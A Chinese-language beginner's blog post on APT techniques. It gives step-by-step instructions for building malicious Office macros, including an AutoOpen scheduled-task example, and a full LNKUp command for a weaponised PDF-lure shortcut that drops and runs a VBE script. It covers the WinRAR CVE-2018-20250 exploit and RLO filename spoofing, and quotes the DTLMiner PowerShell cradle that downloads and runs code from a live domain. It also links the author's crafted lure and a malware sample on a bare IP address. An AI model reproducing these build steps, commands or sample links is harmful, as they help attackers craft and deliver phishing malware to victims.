前言
本文提供给像我一样的对apt感兴趣但是没有接触过的小白一些参考,并非专业样本分析,只是对学习过程中常见的一些攻击手段的总结。(部分对于apt攻击技术的文字描述和数据来源于其他文章,来源于文末进行标注)
正文
1.APT攻击的载荷投递:
APT 组织主要以邮件作为投递载体,邮件的标题、正文和附件都可能携带恶意代码。主要的方式是附件是漏洞文档、附件是二进制可执行程序和正文中包含指向恶意网站的超链接这三种,进一步前两种更为主流。
Apt攻击第一步当然是诱骗受害者打开我们的恶意文档,那么有哪些手段进行欺骗呢。
这里通过两个典型的例子来介绍水坑攻击
1.首先通过渗透入侵的攻击方式非法获得某机构的文档交流服务器的控制权,接着,在服务器后台对网站上的“即时通”和“证书驱动”两款软件的正常安装文件捆绑了自己的木马程序,之后,当有用户下载并安装即时通或证书驱动软件时,木马就有机会得到执行。攻击者还在被篡改的服务器页面中插入了恶意的脚本代码,用户访问网站时,会弹出提示更新 Flash 软件,但实际提供的是伪装成 Flash 升级包的恶意程序,用户如果不慎下载执行就会中招。
2.入侵网站以后修改了网站的程序,在用户访问公告信息时会被重定向到一个攻击者控制的网站,提示下载某个看起来是新闻的文件,比如在新疆 522 暴恐事件的第二天网站就提示和暴恐事件相关的新闻,并提供“乌鲁木齐 7 时 50 分发生爆炸致多人伤亡.rar”压缩包给用户下载,而该压缩包文件内含的就是 RAT。
APT 组织主要以邮件作为投递载体,邮件的标题、正文和附件都可能携带恶意代码。在用户提供的原始邮件中,我们分析得出目前主要的方式是附件是漏洞文档、附件是二进制可执行程序和正文中包含指向恶意网站的超链接这三种,进一步前两种更为主流。
2.APT攻击的载荷类型
文档类:主要是office文档、pdf文档
脚本类:js脚本、vbs脚本、powershell脚本等
可执行文件:一般为经过RLO处理过的可执行文件、自解压包
lnk:带漏洞的(如震网漏洞)和执行powershell、cmd等命令的快捷方式
网页类:html、hta等
捆绑合法应用程序
用过长的文件名隐藏真实后缀并替换icon
其中,以office文档类诱饵为最多,占80%以上。而office文档中,payload的加载方式也包括利用漏洞(0day和Nday)、宏、DDE、内嵌OLE对象等。
宏:在APT攻击中,使用宏来进行攻击的诱饵,占所有攻击的诱饵的50%左右。
漏洞:构造的恶意诱饵中,使用漏洞占比也有40%左右。该office漏洞中,攻击者最爱的依然还是公式编辑器的漏洞,包括CVE-2017-11882、CVE-2018-0802以及比较少见的CVE-2018-0798。此外IE漏洞CVE-2018-8174、CVE-2018-8373,和flash漏洞CVE-2018-4878、CVE-2018-5002、CVE-2018-15982也有APT组织使用,但是并未大规模使用开来。
DDE:DDE在2018年年初的时候有过一段火热期,包括APT28、Gallmaker等APT组织都使用过DDE来进行攻击。
3.常用攻击技术分析
Apt一次完整的攻击流程大致如下:
向受害者发送精心构造的钓鱼文件,在钓鱼文件中伪装恶意代码欺骗用户下载执行,一般会使用office文档,lnk,自解压等技术让用户认为下载的文件是安全的。一旦用户打开了文档,其中的恶意代码一般会先将powershell恶意代码写入定时任务,然后去调用powershell远程获取rat或者功能更完整的恶意代码(最常见的用法:伪装过的lnk+包含恶意ps1脚本的system.ini;自解压包+sfx;office+宏/OLE/DDE+js/vbs/ps1),这些恶意代码大多由powershell,vbs,jscript等windows下可直接执行的语言编写。Apt会利用这些语言进行如同反虚拟环境,反调试,反杀软,设置windows运行环境,获取系统信息并由此远程获取相应的rat,运行后自我删除等行为。将rat植入受害者主机后,apt会开始横向渗透以控制更多的主机,最常用的手法便是pth,与此同时也会尝试感染受害者的手机,通过更改pc端记录的adb来进一步渗透。
常见的apt攻击阶段首先需要受害者接受攻击者发送的恶意文件并执行,这一阶段我们在此称为投递阶段,受害者执行之后的脚本执行阶段我们称为释放阶段,在之后释放.exe文件以及可执行文件的恶意行为在此暂时不做分析。
为了文章的连贯性,对于投递阶段的分析也会设计一些脚本的内容,释放阶段主要分析powershell脚本的恶意行为
宏是office文档的一种功能,他原本是为了辅助office文档实现更复杂更便利的功能,但它同样允许执行任意脚本,导致了安全威胁
关于office中宏的介绍和安全设置
https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84%E5%AE%8F-12b036fd-d140-4e74-b45e-16fed1a7e5c6
通过在office文档中添加宏指令,再通过欺骗被害者允许宏指令运行,可以达到执行效果。
PS:Office本身是一个压缩文件,将office文件后缀更改为.zip就可以看到他的内部结构啦,可以在这里https://www.anquanke.com/post/id/175548#h3-1看到office格式解析。
PPS:宏病毒最重要的还是如何欺骗用户允许你的宏代码执行
1.1 宏病毒的常见形式
常见的宏病毒利用有两种形式:
-
远程模板导入:模板大家在office中应该很常见,模板中可以自定义样式然后从远程导入,当然也可以自定义宏,于是我们就可以通过导入我们自定义的带有恶意宏的模板来制作一个恶意的office文档。我们可以通过_rels/.rels文件看到导入的远程模板。比如
但最后,还是要回到如何制作宏病毒上。 -
直接执行
宏本身使用的是vbs代码来进行恶意代码执行
首先宏的自动执行主要有两种:AutoClose和AutoOpen,创建宏的时候将宏名命名为AutoOpen即可这样文档在被打开的时候就会自动执行,AutoClose也是偶尔会用的规避检测的一种方式,将会在文档关闭的时候自动执行,绕过一些不关闭文档的沙箱检测
1.2 如何制作
首先我们需要打开office的Developer模式,并且开启enable all macros
我们可以如图创建marco
如下是一个最简单的宏程序
Sub AutoOpen()
Shell (“C:WindowsSystem32schtasks.exe /create /sc MINUTE /mo 60 /st 07:00:00 /tn Certificate1 /tr ‘C:WindowsSystem32cmd.exe’ “)
MsgBox (“11”)
EndrSub
(r的地方是空格)
如上我们用vbs创建了一个宏程序,保存之后,当我们下一次打开word文档的时候,此代码就会被自动执行,创建一个定时任务的同时,MsgBox会弹窗。
那么接下来我们看一下正常的vbs宏病毒会怎么做
这段代码会创建两个文件,分别从 UserForm1.Label2.Caption和UserForm1.Label1.Caption 中提取出来使用base64编码的恶意文件Environ(“APPDATA”) “MSDN” “~msdn.exe”以及Environ(“TEMP”) “~temp.docm”
在zyx函数中,将~msdn和~temp.docm写入后开始加载~temp.docm,最后运行~temp.docm的Module1.Proc1。
恶意文档将释放出的.exe程序的内容放在UserForm1中,用从中提取并且释放,
最后可以看到通过shell运行释放的exe
综上,一个通过宏释放恶意程序并执行的宏病毒就完成啦。
所使用的两个vbs脚本如下,直接在编辑宏的窗口中,在module处导入即可,UserForm1.Label.Caption中放置你想要加入的恶意代码.exe的b64编码即可
1.3 宏加密
大多数的恶意样本都是会做个加密的,那么如何加密呢(因为我用的版本是英文的,所以找了百度经验的截图hh)
1.4 解密
但是密码其实是没用的,因为加密是可以被破解的,这里介绍一个最简单的方法。有一种叫做OLE套件的东西,我们可以通过pip install -U https://github.com/decalage2/oletools/archive/master.zip 下载安装,OLE工具套件是一款针对OFFICE文档开发的具有强大分析功能一组工具集,利用此类工具集即可对office文档进行完善的分析和解密
1.5 混淆
混淆也是非常常用的规避检测的方式之一,常用的混淆工具如VBS-Obfuscator-in-Python-master,如图是混淆前的代码
混淆之后变成。。。
1.6 去混淆
Vbs去混淆我并没有太多的尝试,https://www.4hou.com/technology/11955.html 仅仅只做了这篇文章中的去混淆,各位可以以其作为参考。
Winrar的漏洞大家肯定都知道,也有很多用此漏洞进行攻击的apt样本。
这类攻击的制作很简单,github上直接搜索CVE-2018-20250-master即可,已经有很多现成EXP可供我们用来制作。
此漏洞影响的版本为:WinRAR < 5.70 Beta 1、Bandizip < = 6.2.0.0、好压(2345压缩) < = 5.9.8.10907、360压缩 < = 4.0.0.1170
常用的方法是将恶意文件释放到%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup目录,从而实现任意命令执行
3.1 自解压
自解压指的是在没有压缩软件的主机上也可以进行解压的技术,生成的是exe文件。并且可以设置在解压的时候执行某一段程序,这段程序被称为sfx程序
3.2 RLO
在windows下面,支持一种特殊的unicode字符RLO,一个字符串中如果有这个字符的话,那么在windows下显示时,就会把RLO右侧的字符串逆序显示出来。
例:
原始字符串:gpj.bat
在windows下显示为:tab.jpg
攻击者可以利用这个特性,把exe文件伪装成一个文本或图片文件,用户在双击时恶意文件便得到执行。
在windows下就可以点击文件重命名,点击到要反转的字符最前面,右击插入unicode特殊字符里的RLO就可以了。
3.3 用过长的文件名隐藏真实后缀并替换icon
Windows下文件名过长会隐藏后半部分的文件名及其后缀,这时候分辨文件的唯一方法就是看文件的图标,但可执行文件或者快捷方式的图标是可以被修改的。
lnk是windows下的快捷方式文件,但通过精心构造lnk文件可以在windows下执行任意命令。
恶意攻击中,攻击者会构造一个指向恶意命令或存储着恶意代码文件的快捷方式,当用户点击相关快捷方式图标( 文档或文件夹的),会执行攻击者构造的恶意代码
首先我们要学做如何制作一个恶意lnk文件,这里我们根据http://www.sohu.com/a/282573088_354899 这篇文章中对于钓鱼lnk的分析,来制作一个典型的lnk恶意文件吧。
钓鱼lnk的制作可以通过LNKUp这个程序来制作,可以在GitHub上直接搜索到。所使用的命令如下generate.py --host localhost --type ntlm --output out.lnk --execute "Cmd.exe /c powershell -c ""$m='A_Dhabi.pdf.lnk';$t=[environment]::getenvironmentvariable('tmp');cp $m $t$m;$z=$t+''+@(gci -name $t $m -rec)[0];$a=gc $z|out-string;$q=$a[($a.length-2290)..$a.length];[io.file]::WriteAllbytes($t+'.vbe',$q);CsCrIpT $t'.vbe'"""
这里注意在cmd中如果想要在命令的参数中键入双引号不是使用转义而是连续两个双引号。
生成的结果如图
这段命令的作用
- 将dubai.pdf.lnk文件复制到”%temp%”目录
- 将dubai.pdf.lnk文件结尾处往回2340字节的内容,写入“%temp%.vbe“文件中;
- 利用cscript.exe将vbe给执行起来。
那.vbe脚本里的内容是什么呢。
先将lnk文件从文件头开始,偏移为109,大小为1173406字节的内容写入“A_Dhabi.pdf”,该文件保存在temp目录,而该文件确实为一个pdf文件。接着打开该pdf文件,让受害者误以为只是简单得打开了一个正常的pdf文件而已。(这里的偏移量和大小和源恶意样本是不一样的,因为我没找到源样本,所以是自己制作的,会存在一些偏差)
打开的PDF如下:
接着将lnk文件中pdf文件之后的19字节的内容,写入“%temp%~.tmpF292.ps1”文件中,该文件为powershell脚本:
最后将接下来的读取位置写入”%temp%~.tmpF293”文件中,并利用powershell将“~.tmpF292.ps1”文件给执行起来。这里先不分析powershell的部分,只说如何制作和常用的姿势。
最后再说下制作的时候很容易出现小错误,给像我这样没写过vbs的同学:
- vbs写空进文件是不会报错的·
- vbs代码的实际长度要比010editor显示的多两位,我不知道其他二进制编辑器会不会,所以当你在算偏移量的时候要加2
- 调试的时候一定记得删掉on error resume next
4.createobject的前面要加wscript.,所以一个不会报错的语句如下set WSHshellA = wscript.createobject(“wscript.shell”)
以上步骤制作出来的结果如下:
http://106.54.84.65/dubaitest.zip
如上给出的技术都是apt攻击中较为常用的技术,其余包括office 0day,OLE,office命令执行利用技巧等,本人暂且没有能力进行总结,还请自行收集
在文件落地后,受限于vbs等windows自带程序的功能限制,绝大多数apt攻击都会使用powershell去做环境检测,信息收集,释放.exe以及内网渗透的工作。那么对于powershell的理解也非常重要。
接下来我们通过分析一个典型的powershell恶意样本,来学习apt攻击到底会用powershell做怎样的操作(恶意样本来自DTLMiner)
挖矿木马病毒“DTLMiner”通过漏洞和弱口令攻击植入,创建快捷方式开机自启动。
快捷方式运行之后,执行flashplayer.tmp。此文件是一个脚本,使用JS 调用PowerShell脚本下载。
try{(new ActiveXObject(“WScript.Shell”)).Run(“powershell -w hidden -ep bypass -c while($True){try{IEX (New-Object Net.WebClient).downloadstring(‘http://v.bddp.net/ipc?dplow’)}catch{Sleep -m 2500000}}”,0,false);}catch(e){}
如上,去下载http://v.bddp.net/ipc?dplow中的ps1脚本并执行
1.去混淆&混淆
几乎所有的apt攻击中的powershell代码都进行了一定的混淆,那么想要分析就需要我们掌握去混淆的能力,其实powershell的去混淆很简单,因为无论怎样混淆,最终都会执行它原本的代码,所以其实大多数的powershell去混淆,只需要将代码中的iex改为write-host或直接输出到文件即可
常用的混淆脚本也可轻易的从github上找到,名称如下
如图中的代码,将Invoke-Expression改为Write-Host即可输出第一次去混淆后的代码,经过多次类似的操作之后,我们可以得到真正的powershell恶意代码,如图
当然,并不是所有混淆后的powershell脚本都可以那么简单的找到invoke-expression或者他的简写iex,我们需要了解一下powershell中命令执行和混淆的技巧,可以从如下pdf中找到
https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science.pdf
不过也不会很难,如图所示是一些常用的方法
如图最后一个|.后面的内容,就是iex的变体
放在最前面也是可以的哦
-join也是常用的姿势,powershell中join是用来连接字符用的,如上图$env:comSpec[4,24,25]的值即为iex
将这些iex删去,换成write-host或者在最后加上>temp.log 一直重复这个操作就好啦~~
既然已经知道如何去混淆powershell脚本了,那么我们以手上的这个样本来分析一个典型的powershell恶意代码执行了什么内容。
安全客里有很多apt样本的代码分析,我一个小白只能简单的描述一下各个模块大概做了什么,还请见谅。
脚本运行后首先获取本机网卡mac地址,获取本机安装的杀毒软件信息。
之后随机延时一段时间。
判断配置文件是否存在,如果不存在则下载对应样本。
根据用户权限不同,创建的计划任务不同,如果当前用户是管理员权限则访问:http://v.y6h.net/g?h + 当前日期,如果当前用户非管理员权限则访问:http://v.y6h.net/g?l + 当前日期。
如上的代码http://down.bddp.net/newol.dat?allv6中的代码为powershell的真正攻击代码。
Newol.dat中前1125行为标准的MS17010漏洞利用代码
利用永恒之蓝漏洞进行攻击。
同时配合着smb弱口令攻击。
攻击成功后,调用CopyRun函数,将 FlashPlayer.lnk和flashplayer.tmp植入被攻击机器,被攻击机器又会开始新的一轮循环,下载病毒攻击其它机器。
同时还会进行主机的信息收集,使用的是nishang的Get-Passhashes模块
最后flashplyer.tmp释放的脚本会根据操作系统版本会下载脚本并执行
该脚本执行了的内容使用了Invoke-ReflectivePEInjection来调用文件中经过b64编码的恶意的.exe文件并执行。
主要的功能如上,但因为全部功能实在有点多,没办法全部截完,还是直接把解密后的文件附上把。
http://106.54.84.65/样本.rar
4.常用技术概念
Fileless攻击(无文件攻击):没有长期驻留在磁盘的文件、核心payload存放在网络或者注册表中,启动后通过系统进程拉取payload执行。该方式大大增加了客户端安全软件基于文件扫描的防御难度,如海莲花组织事先的通过计划任务执行命令,全程无文件落地
C&C存放在公开的社交网站上:通信跟数据回传是APT攻击链中非常重要的环节,因此如何使得通信的C&C服务器被防火墙发现成为了攻击者的难题。因此,除了注册迷惑性极强的域名、使用DGA、隐蔽信道等方式外,攻击者把目光集中到了公开的社交网络上,如youtube、github、twitter等上。
公开或者开源工具的使用: 往往,APT组织都有其自己研发的特定的攻击武器库,但是随着安全厂商对APT组织研究的深入,APT组织开始使用一些公开或者开源的工具来进行攻击,以此来增加溯源以及被发现的难度,比如teamviewer,babyface等,如下图
多平台攻击和跨平台攻击:使用移动端来进行攻击,也越来越被APT攻击组织使用。此外Mac OS的流行,也是的APT攻击者也开始对Mac OS平台进行攻击。在APK中打包了PE文件,运行后释放到移动端外置存储设备中的图片目录下,从而实现跨平台的攻击:
代码混淆 :通过对代码进行高度混淆,可以大幅增加分析者对木马分析的难度。常用的代码混淆的工具有:Invoke-Obfuscation Invoke-DOSfuscation-master
白加黑 :APT 组织除了基于 RAT 本身进行自身伪装以外,还会将 RAT 植入到合法应用程序中,攻击者会针对不同的目标群体选择不同的合法应用程序。
利用了大公司代码的编写缺陷:比如某宝的某个exe程序,自带数字签名,他运行的时候会动态加载其目录下的dll文件 (loadlibrary),getprocaddress使用dll的扩展函数,但是loadlibrary的dll并未作验证,这样我们只要将 我们编写的同名木马dll放到他的目录下,运行这个带有签名的exe,让我们的木马dll加载到一个绝对可信空间,杀毒 软件碍于性能,检验粒度不可能精确到dll模块,所以exe的绝对可信会导致杀软放行一切行为,实施攻击。
反分析:检测虚拟机 杀毒软件 wireshark ollydbg等反分析环境
参考文章
http://www.vuln.cn/6071
https://www.sohu.com/a/286479782_786964
https://www.docin.com/p-2058145250.html
http://www.199it.com/archives/816427.html
以及多个pdf文件,初始来源未知
发表评论
您还未登录,请先登录。
登录